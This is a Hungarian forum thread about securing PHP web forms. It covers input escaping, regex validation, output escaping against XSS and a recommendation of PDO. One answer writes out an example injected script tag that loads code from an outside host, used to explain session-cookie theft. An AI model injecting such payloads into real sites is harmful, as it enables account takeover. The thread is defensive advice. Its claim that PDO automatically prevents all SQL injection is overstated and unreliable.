Egy űrlapnál milyen biztonsági dolgokra kell figyelni?
Minden adatot az alábbiak szerint szoktam "bekérni":
$string=mysqli_real_escape_string($conn, $_POST["string"]);
Általában a mezőkre reguláris kifejezéseket is írok.
Biztonsági szempontból a fentiek mennyire elegendők? Esetleg mivel lenne érdemes még bővíteni?
Nagy általánosságban elegendő ennyi a szerver oldalt nézve. Persze a konkrét működés fogja meghatározni, hogy milyen egyéb ellenőrzést kell még elvégezni. Mondok egy példát, anno csináltunk egy honlapon egy játékot. Egyszerű játék, A játékos beír egy számot 1 és 10 között. B játékos tesz öt tippet, ha eltalálta, ő nyert, ha nem, akkor A játékos nyert. Ellenőriztük ugyan, hogy A játékos számot írt-e be, meg azt is, hogy a szám 1 és 10 között van-e, de azt nem, hogy egész szám-e. A beírta azt, hogy 6,4243870231 és B az életben nem találta el…
Amire még általánosságban figyelni kell, az a szöveg kiírása. Ha nem escape-eled a speciális karaktereket – egy htmlspecialchars-szal –, akkor könnyen kerülhet a kliens oldalra mondjuk egy script, így lehetőséget adva egy XSS támadásra, session lopásra. Sok helyen csak esetleges ez a védelem, mondjuk egy fórum szövegénél van ilyen, egy privát üzenet törzsében van védelem, de mondjuk a felhasználó nevében, vagy egy üzenet tárgyában nincs. Márpedig nem kell hosszú szöveg ahhoz, hogy kívülről behúzzak egy akármilyen bonyolultságú scriptet. Oké, ez nem a szervert fogja veszélyeztetni, hanem a többi felhasználót, de akár remekül taccsara is lehet vele vágni egy szolgáltatást, sőt egy admin hozzáférés esetén akár a szerverre nézve is lehet biztonsági rés…
Regexp valóban bekorlátozza, de! azért előfordulhat olyan is, amire nem gondolsz és még is rést hagysz.
Továbbiakban PDO-t javaslok adatbázis kommunikációra.
1) Nem kell foglalkozni az SQL injektorokkal, mert ő automatikusan mindent levéd
2) Nem fell foglalkozni a Select által visszatérő adat kezelésével, mert egy 2Dimenziós tömböt ad vissza array[sor][oszlop] formátumban.
3) Bármilyen adatbázisra feltid cuppanni.
4) Teljesen OOP
+1) Minden framework rendszer ezt használja :)
#2: Attól függ, milyen adatról van szó. Egy dátumnál, telefonszámnál, email címnél még lehet reguláris kifejezést írni. Bár email esetén ma már kicsit neccesebb, hiszen vannak ékezetes karaktereket tartalmazó domain nevek is ugye…
Egy névnél már nehezebb az ügy, esetleg lehet valakinek a születési nevében idegen karakter. Egy üzenetnél meg nem nagyon tudsz reguláris kifejezést írni, lévén nincs neki formátuma, alkalmasint lehet, hogy az üzenetben jogosan szerepel a < és > jel, mondjuk egy matematikai egyenlőtlenség esetén. De már egy cégnév is jelenthet gondot, mert a cég neve esetleg tartalmaz & jelet. Ha nem figyelsz ezeknek a kiírására, akkor könnyen lehet, hogy simán beírod a cégnév helyére a HTML kódba azt, hogy <script src="hack.hu/xss.js"></script>
Az meg nem egészséges, mert ezen keresztül bizalmas információkat olvashat ki a script, vagy lekéri a sütiket, amik között ott a sessionID is, így akár a támadó be tud lépni a megtámadott user – akár admin – fiókjába is, anélkül, hogy ismerné a jelszavát. Sőt akár kis vírust is lehet így írni…
De nem csak direkt támadásra kell felkészülni. Lehet, hogy valaki csak egy smiley szerű dolgot akart beletenni, és annak van olyan része, ami HTML kódként értelmezhető. Pl.: „«<I>»„
Ha ezt nem kezeled le, mindjárt dőlt lesz az egész oldal tartalma…
Kapcsolódó kérdések:
Minden jog fenntartva © 2024, www.gyakorikerdesek.hu
GYIK | Szabályzat | Jogi nyilatkozat | Adatvédelem | Cookie beállítások | WebMinute Kft. | Facebook | Kapcsolat: info(kukac)gyakorikerdesek.hu
Ha kifogással szeretne élni valamely tartalommal kapcsolatban, kérjük jelezze e-mailes elérhetőségünkön!